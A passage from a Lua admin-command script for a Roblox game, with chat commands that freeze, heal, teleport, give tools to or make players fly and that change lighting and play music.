  1043. end))
  1044. end
  1045. end
  1046.  
  1047. if msg:lower():sub(1,9) == "sparkles " then
  1048. local plrz = GetPlr(plr, msg:lower():sub(10))
  1049. for i, v in pairs(plrz) do
  1050. coroutine.resume(coroutine.create(function()
  1051. if v and v.Character and v.Character:findFirstChild("Torso") then
  1052. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  1053. end
  1054. end))
  1055. end
  1056. end
  1057.  
  1058. if msg:lower():sub(1,11) == "unsparkles " then
  1059. local plrz = GetPlr(plr, msg:lower():sub(12))
  1060. for i, v in pairs(plrz) do
  1061. coroutine.resume(coroutine.create(function()
  1062. if v and v.Character and v.Character:findFirstChild("Torso") then
  1063. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  1064. end
  1065. end))
  1066. end
  1067. end
  1068.  
  1069. if msg:lower():sub(1,3) == "ff " then
  1070. local plrz = GetPlr(plr, msg:lower():sub(4))
  1071. for i, v in pairs(plrz) do
  1072. coroutine.resume(coroutine.create(function()
  1073. if v and v.Character then Instance.new("ForceField", v.Character) end
  1074. end))
  1075. end
  1076. end
  1077.  
  1078. if msg:lower():sub(1,5) == "unff " then
  1079. local plrz = GetPlr(plr, msg:lower():sub(6))
  1080. for i, v in pairs(plrz) do
  1081. coroutine.resume(coroutine.create(function()
  1082. if v and v.Character then
  1083. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  1084. end
  1085. end))
  1086. end
  1087. end
  1088.  
  1089. if msg:lower():sub(1,7) == "punish " then
  1090. local plrz = GetPlr(plr, msg:lower():sub(8))
  1091. for i, v in pairs(plrz) do
  1092. coroutine.resume(coroutine.create(function()
  1093. if v and v.Character then
  1094. v.Character.Parent = game:service("Lighting")
  1095. end
  1096. end))
  1097. end
  1098. end
  1099.  
  1100. if msg:lower():sub(1,9) == "unpunish " then
  1101. local plrz = GetPlr(plr, msg:lower():sub(10))
  1102. for i, v in pairs(plrz) do
  1103. coroutine.resume(coroutine.create(function()
  1104. if v and v.Character then
  1105. v.Character.Parent = game:service("Workspace")
  1106. v.Character:MakeJoints()
  1107. end
  1108. end))
  1109. end
  1110. end
  1111.  
  1112. if msg:lower():sub(1,7) == "freeze " then
  1113. local plrz = GetPlr(plr, msg:lower():sub(8))
  1114. for i, v in pairs(plrz) do
  1115. coroutine.resume(coroutine.create(function()
  1116. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1117. for a, obj in pairs(v.Character:children()) do
  1118. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  1119. end
  1120. end
  1121. end))
  1122. end
  1123. end
  1124.  
  1125. if msg:lower():sub(1,5) == "thaw " then
  1126. local plrz = GetPlr(plr, msg:lower():sub(6))
  1127. for i, v in pairs(plrz) do
  1128. coroutine.resume(coroutine.create(function()
  1129. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1130. for a, obj in pairs(v.Character:children()) do
  1131. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1132. end
  1133. end
  1134. end))
  1135. end
  1136. end
  1137.  
  1138. if msg:lower():sub(1,5) == "heal " then
  1139. local plrz = GetPlr(plr, msg:lower():sub(6))
  1140. for i, v in pairs(plrz) do
  1141. coroutine.resume(coroutine.create(function()
  1142. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1143. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1144. end
  1145. end))
  1146. end
  1147. end
  1148.  
  1149. if msg:lower():sub(1,4) == "god " then
  1150. local plrz = GetPlr(plr, msg:lower():sub(5))
  1151. for i, v in pairs(plrz) do
  1152. coroutine.resume(coroutine.create(function()
  1153. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1154. v.Character.Humanoid.MaxHealth = math.huge
  1155. v.Character.Humanoid.Health = 9e9
  1156. end
  1157. end))
  1158. end
  1159. end
  1160.  
  1161. if msg:lower():sub(1,6) == "ungod " then
  1162. local plrz = GetPlr(plr, msg:lower():sub(7))
  1163. for i, v in pairs(plrz) do
  1164. coroutine.resume(coroutine.create(function()
  1165. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1166. v.Character.Humanoid.MaxHealth = 100
  1167. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1168. end
  1169. end))
  1170. end
  1171. end
  1172.  
  1173. if msg:lower():sub(1,8) == "ambient " then
  1174. local chk1 = msg:lower():sub(9):find(" ") + 8
  1175. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1176. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1177. end
  1178.  
  1179. if msg:lower():sub(1,11) == "brightness " then
  1180. game.Lighting.Brightness = msg:sub(12)
  1181. end
  1182.  
  1183. if msg:lower():sub(1,5) == "time " then
  1184. game.Lighting.TimeOfDay = msg:sub(6)
  1185. end
  1186.  
  1187. if msg:lower():sub(1,9) == "fogcolor " then
  1188. local chk1 = msg:lower():sub(10):find(" ") + 9
  1189. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1190. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1191. end
  1192.  
  1193. if msg:lower():sub(1,7) == "fogend " then
  1194. game.Lighting.FogEnd = msg:sub(8)
  1195. end
  1196.  
  1197. if msg:lower():sub(1,9) == "fogstart " then
  1198. game.Lighting.FogStart = msg:sub(10)
  1199. end
  1200.  
  1201. if msg:lower():sub(1,7) == "btools " then
  1202. local plrz = GetPlr(plr, msg:lower():sub(8))
  1203. for i, v in pairs(plrz) do
  1204. coroutine.resume(coroutine.create(function()
  1205. if v and v:findFirstChild("Backpack") then
  1206. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1207. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1208. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1209. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1210. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1211. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1212. local sb
  1213. local hs
  1214. local pdist
  1215.  
  1216. script.Parent.Selected:connect(function(mouse)
  1217. if not mouse then return end
  1218. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1219. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1220. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1221. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1222. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1223. end)
  1224.  
  1225. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1226. end
  1227. end))
  1228. end
  1229. end
  1230.  
  1231. if msg:lower():sub(1,12) == "startergive " then
  1232. local chk1 = msg:lower():sub(13):find(" ") + 12
  1233. local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
  1234. for i, v in pairs(plrz) do
  1235. coroutine.resume(coroutine.create(function()
  1236. if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
  1237. for a, tool in pairs(game.Lighting:children()) do
  1238. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1239. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
  1240. end
  1241. end
  1242. end
  1243. end))
  1244. end
  1245. end
  1246.  
  1247. if msg:lower():sub(1,5) == "give " then
  1248. local chk1 = msg:lower():sub(6):find(" ") + 5
  1249. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1250. for i, v in pairs(plrz) do
  1251. coroutine.resume(coroutine.create(function()
  1252. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1253. for a, tool in pairs(game.Lighting:children()) do
  1254. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1255. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1256. end
  1257. end
  1258. end
  1259. end))
  1260. end
  1261. end
  1262.  
  1263. if msg:lower():sub(1,12) == "removetools " then
  1264. local plrz = GetPlr(plr, msg:lower():sub(13))
  1265. for i, v in pairs(plrz) do
  1266. coroutine.resume(coroutine.create(function()
  1267. if v and v.Character and v:findFirstChild("Backpack") then
  1268. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1269. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1270. end
  1271. end))
  1272. end
  1273. end
  1274.  
  1275. if msg:lower():sub(1,5) == "rank " then
  1276. local chk1 = msg:lower():sub(6):find(" ") + 5
  1277. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1278. for i, v in pairs(plrz) do
  1279. coroutine.resume(coroutine.create(function()
  1280. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1281. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1282. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1283. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1284. end
  1285. end))
  1286. end
  1287. end
  1288.  
  1289. if msg:lower():sub(1,7) == "damage " then
  1290. local chk1 = msg:lower():sub(8):find(" ") + 7
  1291. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1292. for i, v in pairs(plrz) do
  1293. coroutine.resume(coroutine.create(function()
  1294. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1295. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1296. end
  1297. end))
  1298. end
  1299. end
  1300.  
  1301. if msg:lower():sub(1,5) == "grav " then
  1302. local plrz = GetPlr(plr, msg:lower():sub(6))
  1303. for i, v in pairs(plrz) do
  1304. coroutine.resume(coroutine.create(function()
  1305. if v and v.Character and v.Character:findFirstChild("Torso") then
  1306. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1307. end
  1308. end))
  1309. end
  1310. end
  1311.  
  1312. if msg:lower():sub(1,8) == "setgrav " then
  1313. local chk1 = msg:lower():sub(9):find(" ") + 8
  1314. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1315. for i, v in pairs(plrz) do
  1316. coroutine.resume(coroutine.create(function()
  1317. if v and v.Character and v.Character:findFirstChild("Torso") then
  1318. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1319. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1320. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1321. end
  1322. end))
  1323. end
  1324. end
  1325.  
  1326. if msg:lower():sub(1,7) == "nograv " then
  1327. local plrz = GetPlr(plr, msg:lower():sub(8))
  1328. for i, v in pairs(plrz) do
  1329. coroutine.resume(coroutine.create(function()
  1330. if v and v.Character and v.Character:findFirstChild("Torso") then
  1331. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1332. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1333. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1334. end
  1335. end))
  1336. end
  1337. end
  1338.  
  1339. if msg:lower():sub(1,7) == "health " then
  1340. local chk1 = msg:lower():sub(8):find(" ") + 7
  1341. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1342. for i, v in pairs(plrz) do
  1343. coroutine.resume(coroutine.create(function()
  1344. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1345. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1346. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1347. end
  1348. end))
  1349. end
  1350. end
  1351.  
  1352. if msg:lower():sub(1,6) == "speed " then
  1353. local chk1 = msg:lower():sub(7):find(" ") + 6
  1354. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1355. for i, v in pairs(plrz) do
  1356. coroutine.resume(coroutine.create(function()
  1357. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1358. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1359. end
  1360. end))
  1361. end
  1362. end
  1363.  
  1364. if msg:lower():sub(1,5) == "team " then
  1365. local chk1 = msg:lower():sub(6):find(" ") + 5
  1366. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1367. for i, v in pairs(plrz) do
  1368. coroutine.resume(coroutine.create(function()
  1369. if v and game:findFirstChild("Teams") then
  1370. for a, tm in pairs(game.Teams:children()) do
  1371. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1372. end
  1373. end
  1374. end))
  1375. end
  1376. end
  1377.  
  1378. if msg:lower():sub(1,6) == "place " then
  1379. local chk1 = msg:lower():sub(7):find(" ") + 6
  1380. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1381. for i, v in pairs(plrz) do
  1382. coroutine.resume(coroutine.create(function()
  1383. if v and v:findFirstChild("PlayerGui") then
  1384. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1385. end
  1386. end))
  1387. end
  1388. end
  1389.  
  1390. if msg:lower():sub(1,3) == "tp " then
  1391. local chk1 = msg:lower():sub(4):find(" ") + 3
  1392. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1393. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1394. for i, v in pairs(plrz) do
  1395. coroutine.resume(coroutine.create(function()
  1396. for i2, v2 in pairs(plrz2) do
  1397. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1398. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1399. end
  1400. end
  1401. end))
  1402. end
  1403. end
  1404.  
  1405. if msg:lower():sub(1,7) == "change " then
  1406. local chk1 = msg:lower():sub(8):find(" ") + 7
  1407. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1408. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1409. for i, v in pairs(plrz) do
  1410. coroutine.resume(coroutine.create(function()
  1411. if v and v:findFirstChild("leaderstats") then
  1412. for a, st in pairs(v.leaderstats:children()) do
  1413. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1414. end
  1415. end
  1416. end))
  1417. end
  1418. end
  1419.  
  1420. if msg:lower():sub(1,6) == "shirt " then
  1421. local chk1 = msg:lower():sub(7):find(" ") + 6
  1422. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1423. for i, v in pairs(plrz) do
  1424. coroutine.resume(coroutine.create(function()
  1425. if v and v.Character then
  1426. for i,v in pairs(v.Character:children()) do
  1427. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1428. end
  1429. end
  1430. end))
  1431. end
  1432. end
  1433.  
  1434. if msg:lower():sub(1,6) == "pants " then
  1435. local chk1 = msg:lower():sub(7):find(" ") + 6
  1436. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1437. for i, v in pairs(plrz) do
  1438. coroutine.resume(coroutine.create(function()
  1439. if v and v.Character then
  1440. for i,v in pairs(v.Character:children()) do
  1441. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1442. end
  1443. end
  1444. end))
  1445. end
  1446. end
  1447.  
  1448. if msg:lower():sub(1,5) == "face " then
  1449. local chk1 = msg:lower():sub(6):find(" ") + 5
  1450. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1451. for i, v in pairs(plrz) do
  1452. coroutine.resume(coroutine.create(function()
  1453. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1454. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1455. end
  1456. end))
  1457. end
  1458. end
  1459.  
  1460. ---------------------
  1461. -- FunCommands --
  1462. ---------------------
  1463. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1464.  
  1465. if msg:lower():sub(1,8) == "swagify " then
  1466. local plrz = GetPlr(plr, msg:lower():sub(9))
  1467. for i, v in pairs(plrz) do
  1468. coroutine.resume(coroutine.create(function()
  1469. if v and v.Character then
  1470. for i,v in pairs(v.Character:children()) do
  1471. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1472. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1473. end
  1474. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1475. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1476. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1477. local torso = plr.Character.Torso
  1478. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1479. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1480. p.Size = Vector3.new(.2,.2,.2)
  1481. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1482. local motor1 = Instance.new("Motor", p)
  1483. motor1.Part0 = p
  1484. motor1.Part1 = torso
  1485. motor1.MaxVelocity = .01
  1486. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1487. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1488. local wave = false
  1489. repeat wait(1/44)
  1490. local ang = 0.1
  1491. local oldmag = torso.Velocity.magnitude
  1492. local mv = .002
  1493. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1494. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1495. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1496. motor1.DesiredAngle = -ang
  1497. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1498. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1499. if torso.Velocity.magnitude < .1 then wait(.1) end
  1500. until not p or p.Parent ~= torso.Parent
  1501. script:Destroy()
  1502. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1503. end
  1504. end))
  1505. end
  1506. end
  1507.  
  1508. if msg:lower():sub(1,6) == "music " then
  1509. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1510. local id = msg:sub(7)
  1511. local pitch = 1
  1512. if tostring(id):lower():find("caramell") then id = 2303479 end
  1513. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1514. if tostring(id):find("rick") then id = 2027611 end
  1515. if tostring(id):find("halo") then id = 1034065 end
  1516. if tostring(id):find("pokemon") then id = 1372261 end
  1517. if tostring(id):find("cursed") then id = 1372257 end
  1518. if tostring(id):find("extreme") then id = 11420933 end
  1519. if tostring(id):find("awaken") then id = 27697277 end
  1520. if tostring(id):find("alone") then id = 27697392 end
  1521. if tostring(id):find("mario") then id = 1280470 end
  1522. if tostring(id):find("choir") then id = 1372258 end
  1523. if tostring(id):find("chrono") then id = 1280463 end
  1524. if tostring(id):find("dotr") then id = 11420922 end
  1525. if tostring(id):find("entertain") then id = 27697267 end
  1526. if tostring(id):find("fantasy") then id = 1280473 end
  1527. if tostring(id):find("final") then id = 1280414 end
  1528. if tostring(id):find("emblem") then id = 1372259 end
  1529. if tostring(id):find("flight") then id = 27697719 end
  1530. if tostring(id):find("banjo") then id = 27697298 end
  1531. if tostring(id):find("gothic") then id = 27697743 end
  1532. if tostring(id):find("hiphop") then id = 27697735 end
  1533. if tostring(id):find("intro") then id = 27697707 end
  1534. if tostring(id):find("mule") then id = 1077604 end
  1535. if tostring(id):find("film") then id = 27697713 end
  1536. if tostring(id):find("nezz") then id = 8610025 end
  1537. if tostring(id):find("angel") then id = 1372260 end
  1538. if tostring(id):find("resist") then id = 27697234 end
  1539. if tostring(id):find("schala") then id = 5985787 end
  1540. if tostring(id):find("organ") then id = 11231513 end
  1541. if tostring(id):find("tunnel") then id = 9650822 end
  1542. if tostring(id):find("spanish") then id = 5982975 end
  1543. if tostring(id):find("venom") then id = 1372262 end
  1544. if tostring(id):find("wind") then id = 1015394 end
  1545. if tostring(id):find("guitar") then id = 5986151 end
  1546. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  1547. end
  1548.  
  1549. if msg:lower() == "stopmusic" then
  1550. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1551. end
  1552.  
  1553. if msg:lower() == "musiclist" then
  1554. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1555. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1556. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  1557. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1558. end
  1559.  
  1560. if msg:lower():sub(1,4) == "fly " then
  1561. local plrz = GetPlr(plr, msg:lower():sub(5))
  1562. for i, v in pairs(plrz) do
  1563. coroutine.resume(coroutine.create(function()
  1564. if v and v:findFirstChild("PlayerGui") then
  1565. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  1566. local mouse = game.Players.LocalPlayer:GetMouse()
  1567. repeat wait() until mouse
  1568. local plr = game.Players.LocalPlayer
  1569. local torso = plr.Character.Torso
  1570. local flying = true
  1571. local deb = true
  1572. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  1573. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1574. local maxspeed = 50
  1575. local speed = 0
  1576. function Fly()
  1577. local bg = Instance.new("BodyGyro", torso)
  1578. bg.P = 9e4
  1579. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  1580. bg.cframe = torso.CFrame
  1581. local bv = Instance.new("BodyVelocity", torso)
  1582. bv.velocity = Vector3.new(0,0.1,0)
  1583. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  1584. repeat wait()
  1585. plr.Character.Humanoid.PlatformStand = true
  1586. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  1587. speed = speed+.5+(speed/maxspeed)
  1588. if speed > maxspeed then
  1589. speed = maxspeed
  1590. end
  1591. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  1592. speed = speed-1
  1593. if speed < 0 then
  1594. speed = 0
  1595. end
  1596. end
  1597. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  1598. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1599. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  1600. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  1601. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1602. else
  1603. bv.velocity = Vector3.new(0,0.1,0)
  1604. end
  1605. bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  1606. until not flying
  1607. ctrl = {f = 0, b = 0, l = 0, r = 0}
  1608. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1609. speed = 0
  1610. bg:Destroy()
  1611. bv:Destroy()
  1612. plr.Character.Humanoid.PlatformStand = false
  1613. end
  1614. mouse.KeyDown:connect(function(key)
  1615. if key:lower() == "e" then
  1616. if flying then flying = false
  1617. else
  1618. flying = true
  1619. Fly()
  1620. end
  1621. elseif key:lower() == "w" then
  1622. ctrl.f = 1
  1623. elseif key:lower() == "s" then
  1624. ctrl.b = -1
  1625. elseif key:lower() == "a" then
  1626. ctrl.l = -1
  1627. elseif key:lower() == "d" then
  1628. ctrl.r = 1
  1629. end
  1630. end)
  1631. mouse.KeyUp:connect(function(key)
  1632. if key:lower() == "w" then
  1633. ctrl.f = 0
  1634. elseif key:lower() == "s" then
  1635. ctrl.b = 0
  1636. elseif key:lower() == "a" then
  1637. ctrl.l = 0
  1638. elseif key:lower() == "d" then
  1639. ctrl.r = 0
  1640. end
  1641. end)
  1642. Fly()]]
  1643. cl.Parent = v.PlayerGui cl.Disabled = false
  1644. end
  1645. end))
  1646. end
  1647. end
  1648.  
  1649. if msg:lower():sub(1,6) == "unfly " then
  1650. local plrz = GetPlr(plr, msg:lower():sub(7))
  1651. for i, v in pairs(plrz) do
  1652. coroutine.resume(coroutine.create(function()
  1653. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1654. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1655. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1656. wait(.1) v.Character.Humanoid.PlatformStand = false
  1657. end
  1658. end))
  1659. end
  1660. end
  1661.  
  1662. if msg:lower() == "disco" then
  1663. for i, v in pairs(lobjs) do v:Destroy() end
  1664. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1665. game.Lighting.Ambient = color
  1666. game.Lighting.FogColor = color
  1667. until nil]]
  1668. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1669. end
  1670.  
  1671. if msg:lower() == "flash" then
  1672. for i, v in pairs(lobjs) do v:Destroy() end
  1673. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  1674. game.Lighting.Ambient = Color3.new(1,1,1)
  1675. game.Lighting.FogColor = Color3.new(1,1,1)
  1676. game.Lighting.Brightness = 1
  1677. game.Lighting.TimeOfDay = 14
  1678. wait(.1)
  1679. game.Lighting.Ambient = Color3.new(0,0,0)
  1680. game.Lighting.FogColor = Color3.new(0,0,0)
  1681. game.Lighting.Brightness = 0
  1682. game.Lighting.TimeOfDay = 0
  1683. until nil]]
